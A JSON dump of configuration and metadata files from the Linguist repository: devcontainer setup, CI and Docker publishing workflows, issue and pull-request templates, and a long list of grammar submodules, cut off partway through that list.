[
  {
    "path": ".devcontainer/Dockerfile",
    "content": "# Available versions: https://github.com/devcontainers/images/tree/main/src/ruby\nFROM mcr.microsoft.com/devcontainers/ruby:3.4\nRUN apt update && apt install -y cmake\n"
  },
  {
    "path": ".devcontainer/devcontainer.json",
    "content": "{\n  \"name\": \"Ruby\",\n  \"build\": {\n    \"dockerfile\": \"Dockerfile\"\n  },\n  \"features\": {\n    \"ghcr.io/devcontainers/features/docker-in-docker:2\": {\n      \"moby\": false\n    },\n    \"ghcr.io/devcontainers/features/go:1\": {},\n    \"ghcr.io/devcontainers/features/git-lfs:1\": {}\n  },\n  \"customizations\": {\n    \"codespaces\": {\n      \"openFiles\": [\n        \"CONTRIBUTING.md\",\n        \"lib/linguist/languages.yml\"\n      ]\n    },\n    \"vscode\": {\n      \"extensions\": [\n        \"EditorConfig.EditorConfig\",\n        \"redhat.vscode-yaml\",\n        \"Shopify.ruby-lsp\"\n      ]\n    }\n  },\n  \"onCreateCommand\": \".devcontainer/onCreateCommand.sh\",\n  \"remoteUser\": \"vscode\"\n}\n"
  },
  {
    "path": ".devcontainer/onCreateCommand.sh",
    "content": "#!/bin/sh\n./script/bootstrap\ngit remote add linguist https://github.com/github-linguist/linguist\ngit fetch linguist v2.0.0:v2.0.0 test/attributes:test/attributes test/master:test/master\n"
  },
  {
    "path": ".dockerignore",
    "content": ".git/\ntest/\n"
  },
  {
    "path": ".editorconfig",
    "content": "root = true\n\n[*]\ncharset = utf-8\nend_of_line = lf\nindent_size = 2\nindent_style = space\ninsert_final_newline = true\ntrim_trailing_whitespace = true\n\n[*.md]\ntrim_trailing_whitespace = false\n\n[*.{h,c}]\nindent_style = tab\nindent_size = 8\n\n[{Dockerfile,Makefile,*.go,script/add-grammar}]\nindent_style = tab\nindent_size = 4\n\n# Ignore fixtures and vendored files\n[{grammars,test/fixtures,samples,vendor}/**]\ncharset = unset\nend_of_line = unset\nindent_size = unset\nindent_style = unset\ninsert_final_newline = unset\ntrim_trailing_whitespace = unset\n"
  },
  {
    "path": ".github/CODEOWNERS",
    "content": "# All pull requests need to be reviewed by someone from GitHub.\n#\n*     @github-linguist/github\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: Bug report\nabout: Found a bug? Let us know. Please start with **Discussions** if your issue is regarding unexpected language analysis or statistics.\ntitle: ''\nlabels: Bug\nassignees: ''\n---\n<!--\nNOTE: Please use Discussions for all incorrect or unexpected language analysis or\n      statistics behaviour BEFORE opening a bug.\n\n      If you know how to fix this bug, please feel free to submit a Pull Request\n      with your fix; we don't need an issue first.\n-->\n\n## Describe the bug\n<!--\nPlease provide a clear and detailed explanation of the bug you've found, and why\nyou consider it to be a bug.\n\nIdeally, please provide steps to reproduce the bug and include the output from\nusing `github-linguist` on the command line.\n-->\n\n### Expected behaviour\n<!-- What was it you expected to see? Be detailed and specific. -->\n\n### Related discussion\n<!-- Include links to related discussion threads, if any. -->\n\n### Additional notes\n<!-- Add any remaining details here; e.g., context, @‌mentions, external links, etc -->\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: false\ncontact_links:\n  - name: Get help in GitHub Discussions\n    url: https://github.com/github/linguist/discussions\n    about: Have a question? Surprised by your repository language analysis? The quickest way to get help is on Linguist's GitHub Discussions!\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: Feature request\nabout: Suggest an enhancement\ntitle: ''\nlabels: Improvement\nassignees: ''\n---\n\n## Describe the enhancement\n\n<!--\n\nPlease let us know what enhancement you'd like to see made to Linguist. The more\ndetail you provide, the better.\n\n-->\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/new_language.md",
    "content": "---\nname: New language\nabout: Request support for a new language\ntitle: ''\nlabels: Add Language, Good First Issue\nassignees: ''\n---\n\n<!--\n\n👋 If you have the time and know-how, send us a pull-request: everybody is welcome to contribute!\nOtherwise, fill out the following fields as best you can.\n\n-->\n## Language name\n\n\n## URL of example repository\n\n\n## URL of syntax highlighting grammar\n\n\n## Most popular extensions\n\n<!--\n\nList the extensions commonly used by this language.\n\n-->\n\n## Detected language\n\n<!--\n\nWhat language are files for this language being identified as, if any?\n\n-->\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "<!--- Briefly describe your changes in the field above. -->\n\n## Description\n<!--- If necessary, go into depth of what this pull request is doing. -->\n\n## Checklist:\n<!--- Go over all the following points, and put an `x` in all the boxes that apply. -->\n<!--- Please remove whole sections, not points within the sections, that do not apply -->\n<!--- If you're unsure about any of these, don't hesitate to ask. We're here to help! -->\n- [ ] **I am adding a new extension to a language.**\n  - [ ] The new extension is used in hundreds of repositories on GitHub.com\n    - Search results for each extension:\n      <!-- Replace FOOBAR with the new extension, and KEYWORDS with keywords unique to the language. Repeat for each extension added. -->\n      - https://github.com/search?type=code&q=NOT+is%3Afork+path%3A*.FOOBAR+KEYWORDS\n  - [ ] I have included a real-world usage sample for all extensions added in this PR:\n    - Sample source(s):\n      - [URL to each sample source, if applicable]\n    - Sample license(s):\n  - [ ] I have included a change to the heuristics to distinguish my language from others using the same extension.\n\n- [ ] **I am adding a new language.**\n  - [ ] The extension of the new language is used in hundreds of repositories on GitHub.com.\n    - Search results for each extension:\n      <!-- Replace FOOBAR with the new extension, and KEYWORDS with keywords unique to the language. Repeat for each extension added. -->\n      -  https://github.com/search?type=code&q=NOT+is%3Afork+path%3A*.FOOBAR+KEYWORDS\n  - [ ] I have included a real-world usage sample for all extensions added in this PR:\n    - Sample source(s):\n      - [URL to each sample source, if applicable]\n    - Sample license(s):\n  - [ ] I have included a syntax highlighting grammar: [URL to grammar repo]\n      <!-- Setting a color is strongly recommended, but optional: `#cccccc` is used by default -->\n  - [ ] I have added a color\n    - Hex value: `#RRGGBB`\n    - Rationale: <!-- Please specify why you chose this color (if it was randomly selected, please say so); it helps arbitrate future requests to change a language's color -->\n  - [ ] I have updated the heuristics to distinguish my language from others using the same extension.\n\n- [ ] **I am fixing a misclassified language**\n  - [ ] I have included a new sample for the misclassified language:\n    - Sample source(s):\n      - [URL to each sample source, if applicable]\n    - Sample license(s):\n  - [ ] I have included a change to the heuristics to distinguish my language from others using the same extension.\n\n- [ ] **I am changing the source of a syntax highlighting grammar**\n  - Old: [URL to grammar repo]\n  - New: [URL to grammar repo]\n\n- [ ] **I am updating a grammar submodule**\n  <!-- That's not necessary, grammar submodules are updated automatically with each new release. -->\n\n- [ ] **I am adding new or changing current functionality**\n  <!-- This includes modifying the vendor, documentation, and generated lists. -->\n  - [ ] I have added or updated the tests for the new or changed functionality.\n\n- [ ] **I am changing the color associated with a language**\n  <!-- Please ensure you have gathered agreement from the wider language community _before_ opening this PR -->\n  - [ ] I have obtained agreement from the wider language community on this color change.\n    - [URL to public discussion]\n    - [Optional: URL to official branding guidelines for the language]\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  # Only check for Ruby gem updates\n  - package-ecosystem: \"bundler\"\n    directory: \"/\"\n    schedule:\n      interval: \"daily\"\n"
  },
  {
    "path": ".github/workflows/ci.yml",
    "content": "name: Run Tests\n\non:\n  # Trigger the workflow on push or pull request, but only for the main branch\n  push:\n    branches:\n      - main\n  pull_request:\n    branches:\n      - main\n  merge_group:\n\npermissions:\n  contents: read\n\njobs:\n  run:\n    name: Ruby ${{ matrix.ruby }}\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        ruby: [ '3.3', '3.2', '3.1' ]\n    steps:\n    - uses: actions/checkout@v1\n    - name: Set up Ruby\n      uses: ruby/setup-ruby@v1\n      with:\n        ruby-version: ${{ matrix.ruby }}\n        bundler-cache: true\n    - name: Fetch grammar submodules\n      run: |\n        git fetch origin main:main v2.0.0:v2.0.0 test/attributes:test/attributes test/master:test/master\n        sed -i 's|git@github.com:|https://github.com/|' .gitmodules\n        git submodule init\n        git submodule sync --quiet\n        script/fast-submodule-update\n    - name: Run tests\n      run: bundle exec rake\n    - name: Check Licenses\n      run: bundle exec licensed status -c vendor/licenses/config.yml\n  dockerfile:\n    name: Test Dockerfile\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v1\n    - name: Build container\n      run: docker build -t linguist .\n    - name: Analyse current directory\n      run: docker run --rm -v $(pwd):$(pwd) -w $(pwd) --user $(id -u) -t linguist | tee output\n    - name: Confirm analysis\n      run: grep Ruby output\n  classifier:\n    name: Classifier cross-validation\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v2\n    - name: Set up Ruby\n      uses: ruby/setup-ruby@v1\n      with:\n        ruby-version: '3.3'\n        bundler-cache: true\n    - name: Build\n      run: bundle exec rake samples\n    - name: Run cross-validation\n      run: bundle exec script/cross-validation --test 2>&1\n"
  },
  {
    "path": ".github/workflows/publish_docker_image.yml",
    "content": "name: Publish Docker image\non:\n  release:\n    types: [published]\n\ndefaults:\n  run:\n    shell: bash\n\njobs:\n  build-and-release:\n    runs-on: ubuntu-latest\n\n    permissions:\n      packages: write\n      contents: read\n      attestations: write\n      id-token: write\n\n    steps:\n      - name: Checkout repository\n        uses: actions/checkout@v4\n\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@v3\n\n      - name: Extract metadata (tags, labels) for Docker\n        id: meta\n        uses: docker/metadata-action@v5\n        with:\n          images: ghcr.io/${{ github.repository }}\n\n      - name: Log in to GitHub Container Registry\n        uses: docker/login-action@v3\n        with:\n          registry: ghcr.io\n          username: ${{ github.actor }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Build and push\n        id: push\n        uses: docker/build-push-action@v6\n        with:\n          push: true\n          cache-from: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache\n          cache-to: type=registry,ref=ghcr.io/${{ github.repository }}:buildcache,mode=max\n          tags: ${{ steps.meta.outputs.tags }}\n          labels: ${{ steps.meta.outputs.labels }}\n\n      - name: Generate artifact attestation\n        uses: actions/attest-build-provenance@v2\n        with:\n          subject-name: ghcr.io/${{ github.repository }}\n          subject-digest: ${{ steps.push.outputs.digest }}\n          push-to-registry: true\n"
  },
  {
    "path": ".gitignore",
    "content": "*.gem\n/Gemfile.lock\n.bundle/\n.idea\nbenchmark/\nlib/linguist/samples.json\n/grammars\n/node_modules\ntest/fixtures/ace_modes.json\n/vendor/gems/\n/tmp\n*.bundle\n*.so\nlinguist-grammars*\n.venv\nBrewfile.lock.json\n"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"vendor/CodeMirror\"]\n\tpath = vendor/CodeMirror\n\turl = https://github.com/codemirror/CodeMirror\n[submodule \"vendor/grammars/AL\"]\n\tpath = vendor/grammars/AL\n\turl = https://github.com/microsoft/AL\n[submodule \"vendor/grammars/Alloy.tmbundle\"]\n\tpath = vendor/grammars/Alloy.tmbundle\n\turl = https://github.com/macekond/Alloy.tmbundle\n[submodule \"vendor/grammars/Assembly-Syntax-Definition\"]\n\tpath = vendor/grammars/Assembly-Syntax-Definition\n\turl = https://github.com/calculuswhiz/Assembly-Syntax-Definition\n[submodule \"vendor/grammars/Atom-PostScript\"]\n\tpath = vendor/grammars/Atom-PostScript\n\turl = https://github.com/Alhadis/Atom-PostScript\n[submodule \"vendor/grammars/AtomLanguageVelocity\"]\n\tpath = vendor/grammars/AtomLanguageVelocity\n\turl = https://github.com/animecyc/AtomLanguageVelocity\n[submodule \"vendor/grammars/AutoHotkey\"]\n\tpath = vendor/grammars/AutoHotkey\n\turl = https://github.com/ahkscript/SublimeAutoHotkey\n[submodule \"vendor/grammars/CUE-Sheet_sublime\"]\n\tpath = vendor/grammars/CUE-Sheet_sublime\n\turl = https://github.com/relikd/CUE-Sheet_sublime\n[submodule \"vendor/grammars/Clue-for-VSCode\"]\n\tpath = vendor/grammars/Clue-for-VSCode\n\turl = https://github.com/ClueLang/Clue-for-VSCode.git\n[submodule \"vendor/grammars/CoDT7-Sublime\"]\n\tpath = vendor/grammars/CoDT7-Sublime\n\turl = https://github.com/Jake-NotTheMuss/CoDT7-Sublime.git\n[submodule \"vendor/grammars/ColdFusion\"]\n\tpath = vendor/grammars/ColdFusion\n\turl = https://github.com/SublimeText/ColdFusion\n[submodule \"vendor/grammars/CookVSCode\"]\n\tpath = vendor/grammars/CookVSCode\n\turl = https://github.com/cooklang/CookVSCode.git\n[submodule \"vendor/grammars/Cylc.tmbundle\"]\n\tpath = vendor/grammars/Cylc.tmbundle\n\turl = https://github.com/cylc/Cylc.tmbundle.git\n[submodule \"vendor/grammars/Dafny-VSCode\"]\n\tpath = vendor/grammars/Dafny-VSCode\n\turl = https://github.com/DafnyVSCode/Dafny-VSCode\n[submodule \"vendor/grammars/Docker.tmbundle\"]\n\tpath = vendor/grammars/Docker.tmbundle\n\turl = https://github.com/asbjornenge/Docker.tmbundle\n[submodule \"vendor/grammars/Elm\"]\n\tpath = vendor/grammars/Elm\n\turl = https://github.com/elm-community/Elm.tmLanguage\n[submodule \"vendor/grammars/FreeMarker.tmbundle\"]\n\tpath = vendor/grammars/FreeMarker.tmbundle\n\turl = https://github.com/freemarker/FreeMarker.tmbundle\n[submodule \"vendor/grammars/GeneroFgl.tmbundle\"]\n\tpath = vendor/grammars/GeneroFgl.tmbundle\n\turl = https://github.com/FourjsGenero/GeneroFgl.tmbundle.git\n[submodule \"vendor/grammars/Handlebars\"]\n\tpath = vendor/grammars/Handlebars\n\turl = https://github.com/daaain/Handlebars\n[submodule \"vendor/grammars/IDL-Syntax\"]\n\tpath = vendor/grammars/IDL-Syntax\n\turl = https://github.com/andik/IDL-Syntax\n[submodule \"vendor/grammars/Isabelle.tmbundle\"]\n\tpath = vendor/grammars/Isabelle.tmbundle\n\turl = https://github.com/lsf37/Isabelle.tmbundle\n[submodule \"vendor/grammars/JSyntax\"]\n\tpath = vendor/grammars/JSyntax\n\turl = https://github.com/tikkanz/JSyntax\n[submodule \"vendor/grammars/Jails\"]\n\tpath = vendor/grammars/Jails\n\turl = https://github.com/SogoCZE/Jails.git\n[submodule \"vendor/grammars/K-VSCode\"]\n\tpath = vendor/grammars/K-VSCode\n\turl = https://github.com/LucianCumpata/K-VSCode.git\n[submodule \"vendor/grammars/LOLCODE-grammar-vscode\"]\n\tpath = vendor/grammars/LOLCODE-grammar-vscode\n\turl = https://github.com/KrazIvan/LOLCODE-grammar-vscode.git\n[submodule \"vendor/grammars/Ligo-grammar\"]\n\tpath = vendor/grammars/Ligo-grammar\n\turl = https://github.com/pewulfman/Ligo-grammar.git\n[submodule \"vendor/grammars/Linker.tmLanguage\"]\n\tpath = vendor/grammars/Linker.tmLanguage\n\turl = https://github.com/donno2048/Linker.tmLanguage\n[submodule \"vendor/grammars/Luau.tmLanguage\"]\n\tpath = vendor/grammars/Luau.tmLanguage\n\turl = https://github.com/JohnnyMorganz/Luau.tmLanguage.git\n[submodule \"vendor/grammars/MATLAB-Language-grammar\"]\n\tpath = vendor/grammars/MATLAB-Language-grammar\n\turl = https://github.com/mathworks/MATLAB-Language-grammar\n[submodule \"vendor/grammars/MQL5-sublime\"]\n\tpath = vendor/grammars/MQL5-sublime\n\turl = https://github.com/mqsoft/MQL5-sublime\n[submodule \"vendor/grammars/MagicPython\"]\n\tpath = vendor/grammars/MagicPython\n\turl = https://github.com/MagicStack/MagicPython\n[submodule \"vendor/grammars/Modelica\"]\n\tpath = vendor/grammars/Modelica\n\turl = https://github.com/BorisChumichev/modelicaSublimeTextPackage\n[submodule \"vendor/grammars/NSIS\"]\n\tpath = vendor/grammars/NSIS\n\turl = https://github.com/github-linguist/NSIS\n[submodule \"vendor/grammars/Nasal.tmbundle\"]\n\tpath = vendor/grammars/Nasal.tmbundle\n\turl = https://github.com/BobDotCom/Nasal.tmbundle.git\n[submodule \"vendor/grammars/NimLime\"]\n\tpath = vendor/grammars/NimLime\n\turl = https://github.com/nim-lang/NimLime\n[submodule \"vendor/grammars/NovaGrammars\"]\n\tpath = vendor/grammars/NovaGrammars\n\turl = https://github.com/Nixinova/NovaGrammars\n[submodule \"vendor/grammars/ObjectScript.tmBundle\"]\n\tpath = vendor/grammars/ObjectScript.tmBundle\n\turl = https://github.com/intersystems-community/ObjectScript.tmBundle\n[submodule \"vendor/grammars/PHP-Twig.tmbundle\"]\n\tpath = vendor/grammars/PHP-Twig.tmbundle\n\turl = https://github.com/Anomareh/PHP-Twig.tmbundle\n[submodule \"vendor/grammars/PogoScript.tmbundle\"]\n\tpath = vendor/grammars/PogoScript.tmbundle\n\turl = https://github.com/featurist/PogoScript.tmbundle\n[submodule \"vendor/grammars/PowerBuilder.tmbundle\"]\n\tpath = vendor/grammars/PowerBuilder.tmbundle\n\turl = https://github.com/informaticon/PowerBuilder.tmbundle.git\n[submodule \"vendor/grammars/RDoc.tmbundle\"]\n\tpath = vendor/grammars/RDoc.tmbundle\n\turl = https://github.com/joshaven/RDoc.tmbundle\n[submodule \"vendor/grammars/Racket\"]\n\tpath = vendor/grammars/Racket\n\turl = https://github.com/soegaard/racket-highlight-for-github\n[submodule \"vendor/grammars/SMT.tmbundle\"]\n\tpath = vendor/grammars/SMT.tmbundle\n\turl = https://github.com/SRI-CSL/SMT.tmbundle.git\n[submodule \"vendor/grammars/Scalate.tmbundle\"]\n\tpath = vendor/grammars/Scalate.tmbundle\n\turl = https://github.com/scalate/Scalate.tmbundle\n[submodule \"vendor/grammars/Scenic-tmLanguage\"]\n\tpath = vendor/grammars/Scenic-tmLanguage\n\turl = https://github.com/UCSCFormalMethods/Scenic-tmLanguage.git\n[submodule \"vendor/grammars/Slash.tmbundle\"]\n\tpath = vendor/grammars/Slash.tmbundle\n\turl = https://github.com/slash-lang/Slash.tmbundle\n[submodule \"vendor/grammars/Stata.tmbundle\"]\n\tpath = vendor/grammars/Stata.tmbundle\n\turl = https://github.com/pschumm/Stata.tmbundle\n[submodule \"vendor/grammars/Stylus\"]\n\tpath = vendor/grammars/Stylus\n\turl = https://github.com/billymoon/Stylus\n[submodule \"vendor/grammars/Sublime-Coq\"]\n\tpath = vendor/grammars/Sublime-Coq\n\turl = https://github.com/mkolosick/Sublime-Coq\n[submodule \"vendor/grammars/Sublime-HTTP\"]\n\tpath = vendor/grammars/Sublime-HTTP\n\turl = https://github.com/samsalisbury/Sublime-HTTP\n[submodule \"vendor/grammars/Sublime-Lasso\"]\n\tpath = vendor/grammars/Sublime-Lasso\n\turl = https://github.com/bfad/Sublime-Lasso\n[submodule \"vendor/grammars/Sublime-Loom\"]\n\tpath = vendor/grammars/Sublime-Loom\n\turl = https://github.com/ambethia/Sublime-Loom\n[submodule \"vendor/grammars/Sublime-Modula-2\"]\n\tpath = vendor/grammars/Sublime-Modula-2\n\turl = https://github.com/harogaston/Sublime-Modula-2\n[submodule \"vendor/grammars/Sublime-Nit\"]\n\tpath = vendor/grammars/Sublime-Nit\n\turl = https://github.com/R4PaSs/Sublime-Nit\n[submodule \"vendor/grammars/Sublime-Pep8\"]\n\tpath = vendor/grammars/Sublime-Pep8\n\turl = https://github.com/R4PaSs/Sublime-Pep8\n[submodule \"vendor/grammars/Sublime-QML\"]\n\tpath = vendor/grammars/Sublime-QML\n\turl = https://github.com/skozlovf/Sublime-QML\n[submodule \"vendor/grammars/Sublime-REBOL\"]\n\tpath = vendor/grammars/Sublime-REBOL\n\turl = https://github.com/Oldes/Sublime-REBOL\n[submodule \"vendor/grammars/Sublime-Red\"]\n\tpath = vendor/grammars/Sublime-Red\n\turl = https://github.com/Oldes/Sublime-Red\n[submodule \"vendor/grammars/Sublime-SQF-Language\"]\n\tpath = vendor/grammars/Sublime-SQF-Language\n\turl = https://github.com/JonBons/Sublime-SQF-Language\n[submodule \"vendor/grammars/SublimeBrainfuck\"]\n\tpath = vendor/grammars/SublimeBrainfuck\n\turl = https://github.com/Drako/SublimeBrainfuck\n[submodule \"vendor/grammars/SublimeClarion\"]\n\tpath = vendor/grammars/SublimeClarion\n\turl = https://github.com/fushnisoft/SublimeClarion\n[submodule \"vendor/grammars/SublimeEthereum\"]\n\tpath = vendor/grammars/SublimeEthereum\n\turl = https://github.com/davidhq/SublimeEthereum.git\n\tbranch = linguist\n[submodule \"vendor/grammars/SublimeGDB\"]\n\tpath = vendor/grammars/SublimeGDB\n\turl = https://github.com/quarnster/SublimeGDB\n[submodule \"vendor/grammars/SublimePapyrus\"]\n\tpath = vendor/grammars/SublimePapyrus\n\turl = https://github.com/Kapiainen/SublimePapyrus\n[submodule \"vendor/grammars/SublimePuppet\"]\n\tpath = vendor/grammars/SublimePuppet\n\turl = https://github.com/russCloak/SublimePuppet\n[submodule \"vendor/grammars/SublimeXtend\"]\n\tpath = vendor/grammars/SublimeXtend\n\turl = https://github.com/staltz/SublimeXtend\n[submodule \"vendor/grammars/Syntax-highlighting-for-PostCSS\"]\n\tpath = vendor/grammars/Syntax-highlighting-for-PostCSS\n\turl = https://github.com/hudochenkov/Syntax-highlighting-for-PostCSS\n[submodule \"vendor/grammars/SystemVerilog\"]\n\tpath = vendor/grammars/SystemVerilog\n\turl = https://github.com/TheClams/SystemVerilog\n[submodule \"vendor/grammars/TLA\"]\n\tpath = vendor/grammars/TLA\n\turl = https://github.com/agentultra/TLAGrammar\n[submodule \"vendor/grammars/TXL\"]\n\tpath = vendor/grammars/TXL\n\turl = https://github.com/MikeHoffert/Sublime-Text-TXL-syntax\n[submodule \"vendor/grammars/Textmate-Gosu-Bundle\"]\n\tpath = vendor/grammars/Textmate-Gosu-Bundle\n\turl = https://github.com/jpcamara/Textmate-Gosu-Bundle\n[submodule \"vendor/grammars/TypeScript-TmLanguage\"]\n\tpath = vendor/grammars/TypeScript-TmLanguage\n\turl = https://github.com/Microsoft/TypeScript-TmLanguage\n[submodule \"vendor/grammars/UrWeb-Language-Definition\"]\n\tpath = vendor/grammars/UrWeb-Language-Definition\n\turl = https://github.com/gwalborn/UrWeb-Language-Definition.git\n[submodule \"vendor/grammars/VBDotNetSyntax\"]\n\tpath = vendor/grammars/VBDotNetSyntax\n\turl = https://github.com/peters-ben-0007/VBDotNetSyntax.git\n[submodule \"vendor/grammars/Vala-TMBundle\"]\n\tpath = vendor/grammars/Vala-TMBundle\n\turl = https://github.com/technosophos/Vala-TMBundle\n[submodule \"vendor/grammars/VscodeAdblockSyntax\"]\n\tpath = vendor/grammars/VscodeAdblockSyntax\n\turl = https://github.com/AdguardTeam/VscodeAdblockSyntax.git\n[submodule \"vendor/grammars/WhileySyntaxBundle\"]\n\tpath = vendor/grammars/WhileySyntaxBundle\n\turl = https://github.com/Whiley/WhileySyntaxBundle.git\n[submodule \"vendor/grammars/X10\"]\n\tpath = vendor/grammars/X10\n\turl = https://github.com/x10-lang/x10-highlighting\n[submodule \"vendor/grammars/XojoSyntaxTM\"]\n\tpath = vendor/grammars/XojoSyntaxTM\n\turl = https://github.com/jimmckay/XojoSyntaxTM\n[submodule \"vendor/grammars/ZenScript-tmLanguage\"]\n\tpath = vendor/grammars/ZenScript-tmLanguage\n\turl = https://github.com/CraftTweaker/ZenScript-tmLanguage\n[submodule \"vendor/grammars/abap-cds-grammar\"]\n\tpath = vendor/grammars/abap-cds-grammar\n\turl = https://github.com/FreHu/abap-cds-grammar\n[submodule \"vendor/grammars/abap.tmbundle\"]\n\tpath = vendor/grammars/abap.tmbundle\n\turl = https://github.com/pvl/abap.tmbundle\n[submodule \"vendor/grammars/abl-tmlanguage\"]\n\tpath = vendor/grammars/abl-tmlanguage\n\turl = https://github.com/chriscamicas/abl-tmlanguage\n[submodule \"vendor/grammars/actionscript3-tmbundle\"]\n\tpath = vendor/grammars/actionscript3-tmbundle\n\turl = https://github.com/simongregory/actionscript3-tmbundle\n[submodule \"vendor/grammars/ada.tmbundle\"]\n\tpath = vendor/grammars/ada.tmbundle\n\turl = https://github.com/textmate/ada.tmbundle\n[submodule \"vendor/grammars/agda-github-syntax-highlighting\"]\n\tpath = vendor/grammars/agda-github-syntax-highlighting\n\turl = https://github.com/agda/agda-github-syntax-highlighting\n[submodule \"vendor/grammars/aidl-language\"]\n\tpath = vendor/grammars/aidl-language\n\turl = https://github.com/google/aidl-language\n[submodule \"vendor/grammars/ampl\"]\n\tpath = vendor/grammars/ampl\n\turl = https://github.com/ampl/sublime-ampl\n[submodule \"vendor/grammars/android-system-tools\"]\n\tpath = vendor/grammars/android-system-tools\n\turl = https://github.com/flimberger/android-system-tools\n[submodule \"vendor/grammars/ant.tmbundle\"]\n\tpath = vendor/grammars/ant.tmbundle\n\turl = https://github.com/textmate/ant.tmbundle\n[submodule \"vendor/grammars/antlr.tmbundle\"]\n\tpath = vendor/grammars/antlr.tmbundle\n\turl = https://github.com/textmate/antlr.tmbundle\n[submodule \"vendor/grammars/apex-tmLanguage\"]\n\tpath = vendor/grammars/apex-tmLanguage\n\turl = https://github.com/forcedotcom/apex-tmLanguage.git\n[submodule \"vendor/grammars/api-blueprint-sublime-plugin\"]\n\tpath = vendor/grammars/api-blueprint-sublime-plugin\n\turl = https://github.com/apiaryio/api-blueprint-sublime-plugin\n[submodule \"vendor/grammars/applescript.tmbundle\"]\n\tpath = vendor/grammars/applescript.tmbundle\n\turl = https://github.com/textmate/applescript.tmbundle\n[submodule \"vendor/grammars/asciidoc.tmbundle\"]\n\tpath = vendor/grammars/asciidoc.tmbundle\n\turl = https://github.com/zuckschwerdt/asciidoc.tmbundle\n[submodule \"vendor/grammars/asp-syntax-highlight\"]\n\tpath = vendor/grammars/asp-syntax-highlight\n\turl = https://github.com/nickswalker/asp-syntax-highlight.git\n[submodule \"vendor/grammars/asp.tmbundle\"]\n\tpath = vendor/grammars/asp.tmbundle\n\turl = https://github.com/textmate/asp.tmbundle\n[submodule \"vendor/grammars/assembly\"]\n\tpath = vendor/grammars/assembly\n\turl = https://github.com/nanoant/assembly.tmbundle\n[submodule \"vendor/grammars/astro\"]\n\tpath = vendor/grammars/astro\n\turl = https://github.com/withastro/astro.git\n[submodule \"vendor/grammars/atom-editorconfig\"]\n\tpath = vendor/grammars/atom-editorconfig\n\turl = https://github.com/sindresorhus/atom-editorconfig\n[submodule \"vendor/grammars/atom-firestore-grammar\"]\n\tpath = vendor/grammars/atom-firestore-grammar\n\turl = https://github.com/jaysquared/atom-firestore-grammar\n[submodule \"vendor/grammars/atom-fstar\"]\n\tpath = vendor/grammars/atom-fstar\n\turl = https://github.com/FStarLang/atom-fstar\n[submodule \"vendor/grammars/atom-language-clean\"]\n\tpath = vendor/grammars/atom-language-clean\n\turl = https://github.com/timjs/atom-language-clean.git\n[submodule \"vendor/grammars/atom-language-haproxy\"]\n\tpath = vendor/grammars/atom-language-haproxy\n\turl = https://github.com/abulimov/atom-language-haproxy\n[submodule \"vendor/grammars/atom-language-innosetup\"]\n\tpath = vendor/grammars/atom-language-innosetup\n\turl = https://github.com/idleberg/atom-language-innosetup\n[submodule \"vendor/grammars/atom-language-julia\"]\n\tpath = vendor/grammars/atom-language-julia\n\turl = https://github.com/JuliaEditorSupport/atom-language-julia\n[submodule \"vendor/grammars/atom-language-nextflow\"]\n\tpath = vendor/grammars/atom-language-nextflow\n\turl = https://github.com/nextflow-io/atom-language-nextflow\n[submodule \"vendor/grammars/atom-language-p4\"]\n\tpath = vendor/grammars/atom-language-p4\n\turl = https://github.com/TakeshiTseng/atom-language-p4\n[submodule \"vendor/grammars/atom-language-perl6\"]\n\tpath = vendor/grammars/atom-language-perl6\n\turl = https://github.com/perl6/atom-language-perl6\n[submodule \"vendor/grammars/atom-language-purescript\"]\n\tpath = vendor/grammars/atom-language-purescript\n\turl = https://github.com/purescript-contrib/atom-language-purescript\n[submodule \"vendor/grammars/atom-language-stan\"]\n\tpath = vendor/grammars/atom-language-stan\n\turl = https://github.com/stan-dev/atom-language-stan.git\n[submodule \"vendor/grammars/atom-miniyaml\"]\n\tpath = vendor/grammars/atom-miniyaml\n\turl = https://github.com/OpenRA/atom-miniyaml.git\n[submodule \"vendor/grammars/atom-salt\"]\n\tpath = vendor/grammars/atom-salt\n\turl = https://github.com/saltstack/atom-salt\n[submodule \"vendor/grammars/ats\"]\n\tpath = vendor/grammars/ats\n\turl = https://github.com/steinwaywhw/ats-mode-sublimetext\n[submodule \"vendor/grammars/avro.tmLanguage\"]\n\tpath = vendor/grammars/avro.tmLanguage\n\turl = https://github.com/Jason3S/avro.tmLanguage\n[submodule \"vendor/grammars/awk-sublime\"]\n\tpath = vendor/grammars/awk-sublime\n\turl = https://github.com/github-linguist/awk-sublime\n[submodule \"vendor/grammars/b-vscode\"]\n\tpath = vendor/grammars/b-vscode\n\turl = https://github.com/JJWRoeloffs/b-vscode.git\n[submodule \"vendor/grammars/ballerina-grammar\"]\n\tpath = vendor/grammars/ballerina-grammar\n\turl = https://github.com/ballerina-platform/ballerina-grammar\n[submodule \"vendor/grammars/berry-grammar\"]\n\tpath = vendor/grammars/berry-grammar\n\turl = https://github.com/berry-lang/berry-grammar.git\n[submodule \"vendor/grammars/bicep\"]\n\tpath = vendor/grammars/bicep\n\turl = https://github.com/azure/bicep\n[submodule \"vendor/grammars/bikeshed\"]\n\tpath = vendor/grammars/bikeshed\n\turl = https://github.com/tabatkins/bikeshed.git\n[submodule \"vendor/grammars/blitzmax\"]\n\tpath = vendor/grammars/blitzmax\n\turl = https://github.com/textmate/blitzmax.tmbundle\n[submodule \"vendor/grammars/boogie-vscode\"]\n\tpath = vendor/grammars/boogie-vscode\n\turl = https://github.com/boogie-org/boogie-vscode\n[submodule \"vendor/grammars/bqn-vscode\"]\n\tpath = vendor/grammars/bqn-vscode\n\turl = https://github.com/razetime/bqn-vscode.git\n[submodule \"vendor/grammars/browserslist-vscode\"]\n\tpath = vendor/grammars/browserslist-vscode\n\turl = https://github.com/browserslist/browserslist-vscode\n[submodule 